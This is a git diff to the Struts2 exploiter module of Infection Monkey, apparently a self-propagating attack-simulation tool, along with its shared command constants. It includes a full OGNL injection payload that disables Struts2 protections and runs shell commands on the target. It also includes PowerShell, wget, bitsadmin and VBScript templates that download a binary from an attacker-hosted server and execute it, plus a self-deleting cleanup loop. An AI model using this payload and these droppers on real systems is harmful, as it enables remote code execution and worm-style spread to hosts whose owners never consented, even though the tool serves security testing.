diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 6ed5a51ef..bec717028 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -8,31 +8,19 @@ import httplib import unicodedata import re -from network.tools import check_tcp_ports import logging from exploit import HostExploiter from exploit.tools import get_target_monkey, get_monkey_depth from tools import build_monkey_commandline, HTTPTools +from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, DROPPER_ARG __author__ = "VakarisZ" LOG = logging.getLogger(__name__) -ID_STRING = "M0NK3YSTRUTS2" -MONKEY_ARG = "m0nk3y" -# Commands used for downloading monkeys -POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, ) -WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, ) -# Commands used to check for architecture -CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING -CHECK_LINUX = "echo %s && lscpu" % ID_STRING -# Commands used to check if monkeys already exists -EXISTS = "ls %s" +DOWNLOAD_TIMEOUT = 300 -WEB_PORTS = [80, 443, 8080] -DOWNLOAD_TIMEOUT = 30 -# In seconds. This is set so that we don't have to wait for monkeys' output. -RESPONSE_TIMEOUT = 1 +RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (DROPPER_ARG, ) class Struts2Exploiter(HostExploiter): @@ -42,23 +30,24 @@ class Struts2Exploiter(HostExploiter): super(Struts2Exploiter, self).__init__(host) self._config = __import__('config').WormConfiguration self.skip_exist = self._config.skip_exploit_if_file_exist + self.HTTP = [str(port) for port in self._config.HTTP_PORTS] def exploit_host(self): - # Initializing vars for convenience - ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS) dropper_path_linux = self._config.dropper_target_path_linux dropper_path_win_32 = self._config.dropper_target_path_win_32 dropper_path_win_64 = self._config.dropper_target_path_win_64 + ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"]) + if not ports: LOG.info("All web ports are closed on %r, skipping", self.host) return False for port in ports: - if port == 443: - current_host = "https://%s:%d" % (self.host.ip_addr, port) + if port[1]: + current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) else: - current_host = "http://%s:%d" % (self.host.ip_addr, port) + current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) # Get full URL url = self.get_redirected(current_host) LOG.info("Trying to exploit with struts2") @@ -103,7 +92,7 @@ class Struts2Exploiter(HostExploiter): command = WGET_HTTP % {'monkey_path': dropper_path, 'http_path': http_path, 'parameters': cmdline} - self.exploit(url, command, RESPONSE_TIMEOUT) + self.exploit(url, command) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() @@ -127,7 +116,7 @@ class Struts2Exploiter(HostExploiter): # If monkey already exists and option not to exploit in that case is selected if self.skip_exist: for dropper_path in dropper_paths: - if self.check_remote_file(url, dropper_path): + if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)): return True src_path = get_target_monkey(self.host) @@ -151,7 +140,13 @@ class Struts2Exploiter(HostExploiter): command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} - self.exploit(url, command, RESPONSE_TIMEOUT) + backup_command = RDP_CMDLINE_HTTP_BITS % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + 'http_path': http_path, 'parameters': cmdline} + + resp = self.exploit(url, command) + + if 'powershell is not recognized' in resp: + self.exploit(url, backup_command) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() @@ -195,33 +190,31 @@ class Struts2Exploiter(HostExploiter): return False @staticmethod - def exploit(url, cmd, timeout=None): + def exploit(url, cmd): """ :param url: Full url to send request to :param cmd: Code to try and execute on host - :param timeout: How long to wait for response in seconds(if monkey is being executed - it's better not to wait it's whole output). By default we wait. :return: response """ page = "" - payload = "%{(#_='multipart/form-data')." - payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." - payload += "(#_memberAccess?" - payload += "(#_memberAccess=#dm):" - payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." - payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." - payload += "(#ognlUtil.getExcludedPackageNames().clear())." - payload += "(#ognlUtil.getExcludedClasses().clear())." - payload += "(#context.setMemberAccess(#dm))))." - payload += "(#cmd='%s')." % cmd - payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." - payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." - payload += "(#p=new java.lang.ProcessBuilder(#cmds))." - payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." - payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." - payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." - payload += "(#ros.flush())}" + payload = "%%{(#_='multipart/form-data')." \ + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ + "(#_memberAccess?" \ + "(#_memberAccess=#dm):" \ + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \ + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \ + "(#ognlUtil.getExcludedPackageNames().clear())." \ + "(#ognlUtil.getExcludedClasses().clear())." \ + "(#context.setMemberAccess(#dm))))." \ + "(#cmd='%s')." \ + "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \ + "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \ + "(#p=new java.lang.ProcessBuilder(#cmds))." \ + "(#p.redirectErrorStream(true)).(#process=#p.start())." \ + "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \ + "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \ + "(#ros.flush())}" % cmd # Turns payload ascii just for consistency if isinstance(payload, unicode): payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore') @@ -229,13 +222,26 @@ class Struts2Exploiter(HostExploiter): try: request = urllib2.Request(url, headers=headers) # Timeout added or else we would wait for all monkeys' output - page = urllib2.urlopen(request, timeout=timeout).read() + page = urllib2.urlopen(request).read() except AttributeError: # If url does not exist return False - except httplib.IncompleteRead, e: + except httplib.IncompleteRead as e: page = e.partial - except Exception: - LOG.info("Request timed out, because monkey is still running on remote host") return page + + @staticmethod + def get_exploitable_ports(host, port_list, names): + candidate_services = {} + for name in names: + chosen_services = { + service: host.services[service] for service in host.services if + ('name' in host.services[service]) and (host.services[service]['name'] == name) + } + candidate_services.update(chosen_services) + + valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if + 'tcp-' + str(port) in candidate_services] + + return valid_ports diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 1296570e1..24fbf900e 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -4,6 +4,7 @@ __author__ = 'itamar' MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" +ID_STRING = "M0NK3Y3XPL0ITABLE" DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, ) @@ -14,3 +15,12 @@ MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priorit RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' + +# Commands used for downloading monkeys +POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) +WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) +# Commands used to check for architecture and if machine is exploitable +CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING +CHECK_LINUX = "echo %s && lscpu" % ID_STRING +# Commands used to check if monkeys already exists +EXISTS = "ls %s" \ No newline at end of file